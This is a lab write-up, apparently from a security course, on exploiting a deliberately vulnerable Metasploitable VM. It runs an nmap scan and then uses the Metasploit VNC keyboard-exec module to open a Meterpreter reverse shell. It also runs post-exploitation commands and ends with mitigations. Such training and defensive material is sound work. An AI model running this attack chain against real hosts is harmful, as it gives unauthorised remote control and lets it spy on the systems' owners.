

## 07 - Metasploitable VM

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### Exploit

1. The Docker is a minimal version therefore it's needed to initialize the database and start meterpreter console

```
service postgresql start  
msfdb init  
msfconsole
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2. In the next step, we are going to make a scan on the target, to decide which services are open and which not.

```
db_nmap -V-sV iloveshells.vm.vuln.land  
db_nmap -A -p 0-10000
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[*] Nmap: Starting Nmap 7.91 ( https://nmap.org ) at 2021-04-06 06:24 UTC
[*] Nmap: Nmap scan report for iloveshells.vuln.land (152.96.6.240)
[*] Nmap: Host is up (0.00057s latency).
[*] Nmap: rDNS record for 152.96.6.240: c6c5e14f-6954-4e31-bb1c-a944b397df7f.vuln.land
[*] Nmap: Not shown: 9974 closed ports
[*] Nmap: PORT      STATE      SERVICE      VERSION
[*] Nmap: 0/tcp    filtered unknown
[*] Nmap: 21/tcp   open      ftp          vsftpd 2.3.4
[*] Nmap: |_ftp-anon: Anonymous FTP login allowed (FTP code 230)
[*] Nmap: |_ftp-syst:
[*] Nmap: |_STAT:
[*] Nmap: |_FTP server status:
[*] Nmap: |_   Connected to 152.96.7.8
[*] Nmap: |_   Logged in as ftp
[*] Nmap: |_   TYPE: ASCII
[*] Nmap: |_   No session bandwidth limit
[*] Nmap: |_   Session timeout in seconds is 300
[*] Nmap: |_   Control connection is plain text
[*] Nmap: |_   Data connections will be plain text
[*] Nmap: |_   vsFTPD 2.3.4 - secure, fast, stable
[*] Nmap: |_End of status
[*] Nmap: 22/tcp   open      ssh          OpenSSH 4.7p1 Debian 8ubuntu1 (protocol 2.0)
[*] Nmap: |_ssh-hostkey:
[*] Nmap: |_   1024 60:0f:cf:e1:c0:5f:6a:74:d6:90:24:fa:c4:d5:6c:cd (DSA)
[*] Nmap: |_   2048 56:56:24:0f:21:1d:de:a7:2b:ae:61:b1:24:3d:e8:f3 (RSA)
[*] Nmap: 23/tcp   open      telnet       Linux telnetd
[*] Nmap: 25/tcp   open      smtp         Postfix smtpd
[*] Nmap: |_smtp-commands: metasploitable.localdomain, PIPELINING, SIZE 10240000, VRFY, ETRN, STARTTLS, ENHANCEDSTATUSCODES, 8BITMIME, DSN,
[*] Nmap: |_ssl-date: 2021-04-06T08:10:06+00:00; +1h44m14s from scanner time.
[*] Nmap: |_sslv2:
[*] Nmap: |_   SSLv2 supported
[*] Nmap: |_   ciphers:
[*] Nmap: |_     SSL2_RC4_128_EXPORT40_WITH_MD5
[*] Nmap: |_     SSL2_DES_64_CBC_WITH_MD5
[*] Nmap: |_     SSL2_DES_192_EDE3_CBC_WITH_MD5
[*] Nmap: |_     SSL2_RC4_128_WITH_MD5
[*] Nmap: |_     SSL2_RC2_128_CBC_WITH_MD5
[*] Nmap: |_     SSL2_RC2_128_CBC_EXPORT40_WITH_MD5
[*] Nmap: 53/tcp   open      domain       ISC BIND 9.4.2
[*] Nmap: |_dns-nsid:
[*] Nmap: |_   bind.version: 9.4.2
[*] Nmap: 80/tcp   open      http         Apache httpd 2.2.8 ((Ubuntu) DAV/2)
[*] Nmap: |_http-server-header: Apache/2.2.8 (Ubuntu) DAV/2
[*] Nmap: |_http-title: Metasploitable2 - Linux
[*] Nmap: 111/tcp  open      rpcbind      2 (RPC #100000)
[*] Nmap: |_rpcinfo:
[*] Nmap: |_   program version  port/proto  service
[*] Nmap: |_   100000  2          111/tcp    rpcbind
[*] Nmap: |_   100000  2          111/udp    rpcbind
[*] Nmap: |_   100003  2,3,4      2049/tcp   nfs
[*] Nmap: |_   100003  2,3,4      2049/udp   nfs
[*] Nmap: |_   100005  1,2,3      45272/udp  mountd
[*] Nmap: |_   100021  1,3,4      34759/udp  nlockmgr
[*] Nmap: |_   100021  1,3,4      45254/tcp  nlockmgr
[*] Nmap: |_   100024  1          33029/tcp  status
[*] Nmap: |_   100024  1          38214/udp  status
[*] Nmap: 139/tcp  open      netbios-ssn Samba smbd 3.X - 4.X (workgroup: WORKGROUP)
[*] Nmap: 445/tcp  open      netbios-ssn Samba smbd 3.0.20-Debian (workgroup: WORKGROUP)
[*] Nmap: 512/tcp  open      exec         netkit-rsh rexecd
[*] Nmap: 513/tcp  open      login        OpenBSD or Solaris rlogind
[*] Nmap: 514/tcp  open      tcpwrapped
[*] Nmap: 1099/tcp  open      java-rmi     GNU Classpath grmiregistry
[*] Nmap: 1524/tcp  open      bindshell    Bash shell (**BACKDOOR**); root shell)
[*] Nmap: 2049/tcp  open      nfs          2-4 (RPC #100003)
[*] Nmap: 2121/tcp  open      ftp          ProFTPD 1.3.1
[*] Nmap: 3306/tcp  open      mysql        MySQL 5.0.51a-3ubuntu5
[*] Nmap: |_mysql-info:
[*] Nmap: |_   Protocol: 10
[*] Nmap: |_   Version: 5.0.51a-3ubuntu5
[*] Nmap: |_   Thread ID: 449
[*] Nmap: |_   Capabilities flags: 43564
[*] Nmap: |_   Some Capabilities: ConnectWithDatabase, Speaks41ProtocolNew, Support41Auth, SwitchToSSLAfterHandshake, LongColumnFlag, SupportsTransactions, SupportsCompression
[*] Nmap: |_   Status: Autocommit
[*] Nmap: |_   Salt: '\tjtle6j1z7B%31lgL&t
[*] Nmap: 3632/tcp  open      distccd      distccd v1 ((GNU) 4.2.4 (Ubuntu 4.2.4-1ubuntu4))
[*] Nmap: 5432/tcp  open      postgresql   PostgreSQL DB 8.3.0 - 8.3.7
[*] Nmap: |_ssl-date: 2021-04-06T08:10:06+00:00; +1h44m14s from scanner time.
[*] Nmap: 5900/tcp  open      vnc          VNC (protocol 3.3)
[*] Nmap: |_vnc-info:
[*] Nmap: |_   Protocol version: 3.3
[*] Nmap: |_   Security types:
[*] Nmap: |_     VNC Authentication (2)
[*] Nmap: 6000/tcp  open      X11          (access denied)
[*] Nmap: 6667/tcp  open      irc          UnrealIRCd
[*] Nmap: 6697/tcp  open      irc          UnrealIRCd
[*] Nmap: 8009/tcp  open      ajp13        Apache Jserv (Protocol v1.3)
[*] Nmap: |_ajp-methods: Failed to get a valid response for the OPTION request
[*] Nmap: 8180/tcp  open      http         Apache Tomcat/Coyote JSP engine 1.1
[*] Nmap: |_http-favicon: Apache Tomcat
[*] Nmap: |_http-server-header: Apache-Coyote/1.1
[*] Nmap: |_http-title: Apache Tomcat/5.5
[*] Nmap: 8787/tcp  open      drb          Ruby DRb RMI (Ruby 1.8; path /usr/lib/ruby/1.8/drbb)
[*] Nmap: Device type: general purpose
[*] Nmap: Running: Linux 2.6.X
[*] Nmap: OS CPE: cpe:/o:linux:linux_kernel:2.6
[*] Nmap: OS details: Linux 2.6.16 - 2.6.28
[*] Nmap: Network Distance: 2 hops
[*] Nmap: Service Info: Hosts: metasploitable.localdomain, c6c5e14f-6954-4e31-bb1c-a944b397df7f, irc.Metasploitable.LAN; OSs: Unix, Linux; CPE: cpe:/o:linux:linux_kernel
[*] Nmap: Host script results:
[*] Nmap: |_clock-skew: mean: 2h44m13s, deviation: 2h00m00s, median: 1h44m13s
[*] Nmap: |_nbstat: NetBIOS name: C6C5E14F-6954-4, NetBIOS user: <unknown>, NetBIOS MAC: <unknown> (unknown)
[*] Nmap: |_smb-os-discovery:
[*] Nmap: |_   OS: Unix (Samba 3.0.20-Debian)
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[*] Nmap: | Computer name: c6c5e14f-6954-4e31-bb1c-a944b397df7f
[*] Nmap: | NetBIOS computer name:
[*] Nmap: | Domain name: localdomain
[*] Nmap: | FQDN: c6c5e14f-6954-4e31-bb1c-a944b397df7f.localdomain
[*] Nmap: | System time: 2021-04-06T04:09:56-04:00
[*] Nmap: | smb-security-mode:
[*] Nmap: | account used: guest
[*] Nmap: | authentication_level: user
[*] Nmap: | challenge_response: supported
[*] Nmap: | message_signing: disabled (dangerous, but default)
[*] Nmap: | smb2-time: Protocol negotiation failed (SMB2)
[*] Nmap: TRACEROUTE (using port 8080/tcp)
[*] Nmap: HOP RTT ADDRESS
[*] Nmap: 1 0.27 ms 152.96.7.1
[*] Nmap: 2 0.53 ms c6c5e14f-6954-4e31-bb1c-a944b397df7f.vm.vuln.land (152.96.6.240)
[*] Nmap: OS and Service detection performed. Please report any incorrect results at https://nmap.org/submit/ .
[*] Nmap: Nmap done: 1 IP address (1 host up) scanned in 54.99 seconds
msf6 > search vnc

Matching Modules
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# Name Disclosure Date Rank Check Description
- - - - -
0 auxiliary/scanner/vnc/ard_root_pw normal No Apple Remote Desktop Root Vulnerability
1 auxiliary/server/capture/vnc normal No Authentication Capture: VNC
2 exploit/multi/misc/legend_bot_exec 2015-04-27 excellent Yes Legend Perl IRC Bot Remote Code Execution
3 post/osx/gather/vnc_password_osx normal No OS X Display Apple VNC Password
4 post/osx/gather/enum_chicken_vnc_profile normal No OS X Gather Chicken of the VNC Profile
5 exploit/windows/vnc/real_vnc_client 2001-01-29 normal No RealVNC 3.3.7 Client Buffer Overflow
6 auxiliary/admin/vnc/real_vnc_41_bypass 2006-05-15 normal No RealVNC NULL Authentication Mode Bypass
7 auxiliary/scanner/http/thin_vnc_traversal 2019-10-16 normal No ThinVNC Directory Traversal
8 post/multi/gather/remmina_creds normal No UNIX Gather Remmina Credentials
9 exploit/windows/vnc/ultra_vnc_client 2006-04-04 normal No UltraVNC 1.0.1 Client Buffer Overflow
10 exploit/windows/vnc/ultra_vnc_viewer_bof 2008-02-06 normal No UltraVNC 1.0.2 Client (vncviewer.exe) Buffer Overflow
11 auxiliary/scanner/vnc/vnc_none_auth normal No VNC Authentication None Detection
12 auxiliary/scanner/vnc/vnc_login normal No VNC Authentication Scanner
13 exploit/multi/vnc/vnc_keyboard_exec 2015-07-10 great No VNC Keyboard Remote Code Execution
14 payload/windows/vncinject/bind_ipv6_tcp normal No VNC Server (Reflective Injection), Bind IPv6 TCP Stager (Windows x86)
15 payload/windows/vncinject/bind_ipv6_tcp_uuid normal No VNC Server (Reflective Injection), Bind IPv6 TCP Stager with UUID Support (Windows x86)
16 payload/windows/vncinject/bind_nonx_tcp normal No VNC Server (Reflective Injection), Bind TCP Stager (No NX or Win7)
17 payload/windows/vncinject/bind_tcp_rc4 normal No VNC Server (Reflective Injection), Bind TCP Stager (RC4 Stage Encryption, Metasm)
18 payload/windows/vncinject/bind_tcp normal No VNC Server (Reflective Injection), Bind TCP Stager (No NX or Win7)
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3. VNC seems to be open, let's search for a exploit.

```
search vnc
```

4. Now we that to use the module and make sure that all needed options are set.

```
use exploit/multi/vnc/vnc_keyboard_exec
set RHOSTS iloveshells.vm.vuln.land
run
```

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njection), Reverse TCP Stager with UUID Support (Windows x64)
44 payload/windows/x64/vncinject/bind_named_pipe normal No Windows x64 VNC Server (Reflective I
njection), Windows x64 Bind Named Pipe Stager
45 payload/windows/x64/vncinject/bind_tcp normal No Windows x64 VNC Server (Reflective I
njection), Windows x64 Bind TCP Stager
46 payload/windows/x64/vncinject/bind_ipv6_tcp normal No Windows x64 VNC Server (Reflective I
njection), Windows x64 IPv6 Bind TCP Stager
47 payload/windows/x64/vncinject/bind_ipv6_tcp_uuid normal No Windows x64 VNC Server (Reflective I
njection), Windows x64 IPv6 Bind TCP Stager with UUID Support
48 payload/windows/x64/vncinject/reverse_winhttp normal No Windows x64 VNC Server (Reflective I
njection), Windows x64 Reverse HTTP Stager (winhttp)
49 payload/windows/x64/vncinject/reverse_http normal No Windows x64 VNC Server (Reflective I
njection), Windows x64 Reverse HTTP Stager (wininet)
50 payload/windows/x64/vncinject/reverse_https normal No Windows x64 VNC Server (Reflective I
njection), Windows x64 Reverse HTTP Stager (wininet)
51 payload/windows/x64/vncinject/reverse_winhttps normal No Windows x64 VNC Server (Reflective I
njection), Windows x64 Reverse HTTPS Stager (winhttp)
52 payload/windows/x64/vncinject/reverse_tcp normal No Windows x64 VNC Server (Reflective I
njection), Windows x64 Reverse TCP Stager

```

Interact with a module by name or index. For example `info 52`, `use 52` or `use payload/windows/x64/vncinject/reverse_tcp`

```

msf6 > use exploit/multi/
Display all 356 possibilities? (y or n)
msf6 > use exploit/multi/vnc/vnc_keyboard_exec
[*] No payload configured, defaulting to windows/meterpreter/reverse_tcp
msf6 exploit(multi/vnc/vnc_keyboard_exec) > show options

```

Module options (exploit/multi/vnc/vnc\_keyboard\_exec):

Name	Current Setting	Required	Description
PASSWORD		no	The VNC password
RHOSTS		yes	The target host(s), range CIDR identifier, or hosts file with syntax 'file:<path>'
RPORT	5900	yes	The target port (TCP)
SRVHOST	0.0.0.0	yes	The local host or network interface to listen on. This must be an address on the local machine or 0.0.0.0 to listen on all addresses.
SRVPORT	8080	yes	The local port to listen on.
SSL	false	no	Negotiate SSL for incoming connections
SSLCert		no	Path to a custom SSL certificate (default is randomly generated)
TIME_WAIT	20	yes	Time to wait for payload to be executed
URIPATH		no	The URI to use for this exploit (default is random)

Payload options (windows/meterpreter/reverse\_tcp):

Name	Current Setting	Required	Description
EXITFUNC	process	yes	Exit technique (Accepted: '', seh, thread, process, none)
LHOST	152.96.7.8	yes	The listen address (an interface may be specified)
LPORT	4444	yes	The listen port

Exploit target:

Id	Name
0	VNC Windows / Powershell

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msf6 exploit(multi/vnc/vnc_keyboard_exec) > set RHOSTS iloveshells.vuln.land
RHOSTS => iloveshells.vuln.land
msf6 exploit(multi/vnc/vnc_keyboard_exec) > run

[*] Started reverse TCP handler on 152.96.7.8:4444
[*] 152.96.6.240:5900 - 152.96.6.240:5900 - Bypass authentication
[*] 152.96.6.240:5900 - 152.96.6.240:5900 - Opening Run command
[*] Sending stage (175174 bytes) to 152.96.6.240
[*] Meterpreter session 1 opened (152.96.7.8:4444 -> 152.96.6.240:44858) at 2021-04-06 06:28:46 +0000
[*] 152.96.6.240:5900 - 152.96.6.240:5900 - Typing and executing payload
[*] 152.96.6.240:5900 - 152.96.6.240:5900 - Waiting for session...

```

meterpreter > help

Core Commands

Command	Description
?	Help menu
background	Backgrounds the current session
bg	Alias for background
bgkill	Kills a background meterpreter script
bglist	Lists running background scripts
bgrun	Executes a meterpreter script as a background thread
channel	Displays information or control active channels
close	Closes a channel
detach	Detach the meterpreter session (for http/https)
disable_unicode_encoding	Disables encoding of unicode strings
enable_unicode_encoding	Enables encoding of unicode strings
exit	Terminate the meterpreter session
get_timeouts	Get the current session timeout values
guid	Get the session GUID
help	Help menu
info	Displays information about a Post module
irb	Open an interactive Ruby shell on the current session
load	Load one or more meterpreter extensions
machine_id	Get the MSF ID of the machine attached to the session
migrate	Migrate the server to another process
pivot	Manage pivot listeners
pry	Open the Pry debugger on the current session
quit	Terminate the meterpreter session
read	Reads data from a channel
resource	Run the commands stored in a file
run	Executes a meterpreter script or Post module
secure	(Re)Negotiate TLV packet encryption on the session

5. Now we can make some funny stuff with the target. Let's run **ps**

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Stdapi: Audio Output Commands
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Command      Description
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play         play a waveform audio file (.wav) on the target system

meterpreter > webcam_snap
[-] Target does not have a webcam
meterpreter > ps

Process List
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PID	PPID	Name	Arch	User	Path
1	0	init	i686	root	.
2	0	kthreadd	i686	root	.
3	2	migration/0	i686	root	.
4	2	ksoftirqd/0	i686	root	.
5	2	watchdog/0	i686	root	.
6	2	events/0	i686	root	.
7	2	khelper	i686	root	.
41	2	kblockd/0	i686	root	.
44	2	kacpid	i686	root	.
45	2	kacpi_notify	i686	root	.
170	2	kseriod	i686	root	.
209	2	pdflush	i686	root	.
210	2	pdflush	i686	root	.
211	2	kswapd0	i686	root	.
253	2	aio/0	i686	root	.
1273	2	ksnapd	i686	root	.
1500	2	ata/0	i686	root	.
1503	2	ata_aux	i686	root	.
1512	2	scsi_eh_0	i686	root	.
1518	2	scsi_eh_1	i686	root	.
1536	2	ksuspend_usbd	i686	root	.
1538	2	khubd	i686	root	.
2387	2	scsi_eh_2	i686	root	.
2634	2	kjournald	i686	root	.
2788	1	udev	i686	root	.
3849	2	kpsmouse	i686	root	.
4063	1	dhclient3	i686	dhcp	.
4137	2	kjournald	i686	root	.
4276	1	portmap	i686	daemon	.
4296	1	rpc.statd	i686	statd	.
4303	2	rpciod/0	i686	root	.
4318	1	rpc.idmapd	i686	root	.
4545	1	getty	i686	root	.
4546	1	getty	i686	root	.
4552	1	getty	i686	root	.
4555	1	getty	i686	root	.
4560	1	getty	i686	root	.

## Mitigation

- VNC should only be accessible with VPN
- Use strong encryption
- Use SSH based authentication
- Update to latest version
- Buy enterprise subscription
- Turn off screen blanking
- Set Blacklist Threshold
- Turn on connection approval with owner is present